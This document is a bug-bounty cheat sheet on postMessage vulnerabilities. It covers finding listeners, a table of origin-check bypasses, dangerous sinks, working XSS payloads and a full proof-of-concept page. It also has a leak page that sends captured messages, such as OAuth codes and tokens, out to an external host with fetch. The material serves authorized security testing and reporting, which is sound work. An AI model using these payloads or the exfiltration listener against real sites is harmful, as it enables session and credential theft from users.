PostMessage
Cross-origin messaging between windows. Two sides, two bug classes: the receiver trusts a message it should not, or the sender broadcasts data to everyone.
Find the listeners
// devtools console, on the target page
getEventListeners(window).messageLog everything that arrives, then drive the app and watch:
window.addEventListener('message', e => console.log(e.origin, e.data), true);Catch listeners registered after you paste. Run this first, then reload:
const add = EventTarget.prototype.addEventListener;
EventTarget.prototype.addEventListener = function (t, f, o) {
if (t === 'message') console.log('listener registered:', f.toString());
return add.call(this, t, f, o);
};And catch what the page sends out:
const pm = window.postMessage;
window.postMessage = function (d, o) { console.log('SEND', o, d); return pm.apply(this, arguments); };Grep the bundles for addEventListener("message", onmessage, .postMessage(. See Javascript.
Get a handle on the target window
// framable target
const f = document.createElement('iframe');
f.src = 'https://target.com/page';
document.body.appendChild(f);
f.onload = () => f.contentWindow.postMessage(payload, '*');// X-Frame-Options set? window.open still works (needs a click)
const w = window.open('https://target.com/page');
setTimeout(() => w.postMessage(payload, '*'), 2000);window.open is the one people forget. X-Frame-Options and frame-ancestors stop framing, not messaging.
frames[0].frames[1].postMessage(p, '*') // nested frames
e.source.postMessage(p, '*') // reply to whoever messaged you
opener.postMessage(p, '*') // from a popup back to its opener
Origin checks that don’t work
| Code | Bypass |
|---|---|
| (no check) | anything |
e.origin.indexOf('target.com') > -1 |
https://target.com.evil.tld |
e.origin.endsWith('target.com') |
https://eviltarget.com |
e.origin.startsWith('https://target.com') |
https://target.com.evil.tld |
/target\.com/.test(e.origin) |
unanchored, https://target.com.evil.tld |
/target.com/ |
unescaped dot, https://targetXcom.evil.tld |
/^https:\/\/.*\.target\.com$/ |
any subdomain, see Subdomain Takeover |
e.origin != 'null' |
a sandboxed iframe posts with origin null |
checks document.referrer |
referrer is not the message origin |
checks e.source only |
e.source is spoofable via frame ordering |
checks e.data.origin |
that field is attacker-controlled |
Register the bypass domain before you report: a live PoC on target.com.yourdomain.tld closes the argument.
Null origin
A sandboxed iframe or a data: URL posts with origin === "null". Allow-lists that include null, or that compare with !=, accept it.
<iframe sandbox="allow-scripts" src="data:text/html,
<script>parent.parent.postMessage('x','*')</script>"></iframe>Sinks
What the listener does with e.data is the whole bug.
eval Function setTimeout(str) setInterval(str)
innerHTML outerHTML insertAdjacentHTML document.write
$(...) .html() .append() .after()
location location.href location.replace window.open → javascript:
script.src iframe.src img.src a.href
localStorage / sessionStorage → read into a sink later
fetch / XHR url → CSPT, see below
postMessage to another frame → relayStorage writes are the sleeper. The message handler is safe, but the value it stores is read into innerHTML on the next page load.
Payload shape
Listeners usually switch on a field. Send the whole object, not a bare string:
w.postMessage({ type: 'render', html: '<img src=x onerror=alert(document.domain)>' }, '*');
w.postMessage(JSON.stringify({ action: 'navigate', url: 'javascript:alert(1)' }), '*');If the handler does JSON.parse(e.data), a string is required: an object gets silently dropped and you will think it is not vulnerable.
Fuzz the type field with the values you found in the bundle, then vary one property at a time.
Full PoC
<!doctype html>
<h1>click</h1>
<script>
onclick = () => {
const w = window.open('https://target.com/widget');
setTimeout(() => {
w.postMessage({type:'render', html:'<img src=x onerror=alert(document.domain)>'}, '*');
}, 3000);
};
</script>The leak side
Anything sent with targetOrigin: '*' is readable by any page that frames or opens the target. No sink needed: the data is the finding.
<iframe src="https://target.com/oauth/callback"></iframe>
<script>
onmessage = e => fetch('https://oob.tld/?d=' + btoa(JSON.stringify(e.data)));
</script>Worth reading for: OAuth codes and tokens, CSRF tokens, session ids, API keys, PII, internal config.
Chains
postMessage → CSPT steer the app's own authenticated fetch
postMessage → prototype pollution __proto__ in the message body
postMessage → DOM clobbering message writes markup, markup clobbers a global
postMessage → open redirect message controls location
postMessage → relay bounce off a trusted origin that forwards messagesThe relay is the good one: origin check is strict, but an allowed frame forwards whatever it receives, so you post to it and it posts to the target.
Related channels
Same trust question, different API:
BroadcastChannel // same-origin only, but reachable from any tab
MessageChannel / MessagePort // ports handed over in a message, often unchecked
SharedWorker ServiceWorker // worker.port.postMessage
window.name // survives navigation, classic cross-origin carrier
Where to look
/embed /widget /sdk /iframe /connect /bridge
oauth callbacks, payment iframes, chat widgets, analytics SDKs
cookie-consent banners, video players, map embeds
anything loading a third-party JS SDKThird-party embed SDKs are the richest source: they are built to talk cross-origin and the origin check is often a config value the site never set.
Extension
Burp DOM Invader has a dedicated postMessage view: it logs listeners, shows the origin check and lets you replay a message with one click. Easiest path in.
Reporting
Name the listener file and line, the origin check that failed, the sink, and the exact message. A alert(document.domain) screenshot from a real attacker origin is worth more than a description of the flow.
Writeups
- https://labs.detectify.com/security-guidance/the-pitfalls-of-postmessage/
- https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage
- https://trustfoundry.net/2024/07/30/a-quick-introduction-to-postmessage-xss/
- https://www.yeswehack.com/learn-bug-bounty/introduction-postmessage-vulnerabilities
- https://hackerone.com/reports/900619
- https://book.hacktricks.xyz/pentesting-web/postmessage-vulnerabilities
- https://hackerone.com/reports/231053
- https://hackerone.com/reports/576532
- https://hackerone.com/reports/1567186
- https://hackerone.com/reports/1031644
- https://hackerone.com/reports/217745
- https://hackerone.com/reports/423218
- https://rhynorater.github.io/postMessage-Braindump
- https://vinothkumar.me/20000-facebook-dom-xss/
- https://ndevtk.github.io/writeups/2023/08/18/extensions/
- https://web.archive.org/web/20211016075506/https://insight.claranet.co.uk/technical-blogs/hunting-postmessage-vulnerabilities
- https://medium.com/bored-engineer/xss-on-account-leagueoflegends-com-via-easyxdm-2016-75bcf9d582b5
Videos
- https://www.youtube.com/watch?v=dCco6bZhUd0
- https://youtu.be/6731qvqBlCE?t=2435
- https://www.youtube.com/watch?v=KGsktwaxsKU
Labs
- https://html5.digi.ninja/
- https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages
- https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-a-javascript-url
- https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse
Credits: https://x.com/Heli__9